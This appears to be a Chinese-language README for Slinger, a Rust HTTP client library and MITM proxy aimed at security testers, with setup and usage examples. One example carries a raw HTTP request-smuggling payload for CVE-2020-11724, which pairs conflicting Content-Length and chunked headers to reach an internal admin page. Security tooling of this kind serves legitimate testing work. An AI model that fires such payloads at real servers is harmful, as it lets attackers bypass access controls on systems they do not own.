
Slinger 是一个工作区,包含以下内容:
一个为黑客设计的 Rust 核心 HTTP 客户端库。
一个中间人(MITM)代理,支持透明的 HTTPS 流量拦截,类似于 Burp Suite。
(回到顶部)
此示例启用了一些可选功能,因此你的 Cargo.toml 可能如下所示:
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
然后是代码:
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get").await?;
println!("{:?}", resp.text());
Ok(())
}
添加到你的 Cargo.toml 中:
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }
示例代码:
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let config = MitmConfig::default();
let proxy = MitmProxy::new(config).await?;
// Add logging interceptor
let handler = proxy.interceptor_handler();
let mut h = handler.write().await;
h.add_request_interceptor(Arc::new(Interceptor::logging()));
drop(h);
proxy.start("127.0.0.1:8080").await?;
Ok(())
}
有关 MITM 代理使用的更多详细信息,请参阅 slinger-mitm/README.md。
Slinger 支持以下可选功能:
tls - TLS 基础功能(在不指定后端的情况下启用 TLS 类型和接口)rustls - 使用 Rustls 的 HTTPS 支持(需要 tls,纯 Rust 实现)http2 - HTTP/2 协议支持(需要 TLS 后端)cookie - Cookie 处理支持charset - 字符编码支持serde - 序列化/反序列化支持gzip - Gzip 压缩支持schema - JSON Schema 支持要使用 TLS,你必须:
tls 功能rustls 后端,或者提供自定义 TLS 连接器功能组合示例:
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }
如果你想使用 native-tls、OpenSSL 或其他 TLS 库,你可以实现自定义 TLS 连接器。 完整的 native-tls 集成示例请参阅 native_tls_example.rs。
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::default().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
更多示例请参阅 示例
(回到顶部)
贡献是让开源社区成为一个如此奇妙的学习、激励和创造之地。我们非常感谢你做出的任何贡献。
如果你有改进建议,请 fork 本仓库并创建 pull request。你也可以直接提交一个带有 "enhancement" 标签的 issue。 别忘了给项目点个 Star!再次感谢!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)(回到顶部)
基于 GPL-3.0-only 许可证分发。更多信息请参阅 LICENSE。
(回到顶部)
你的名字 - @Kali_Team - [email protected]
项目链接: https://github.com/emo-crab/slinger
(回到顶部)
(回到顶部)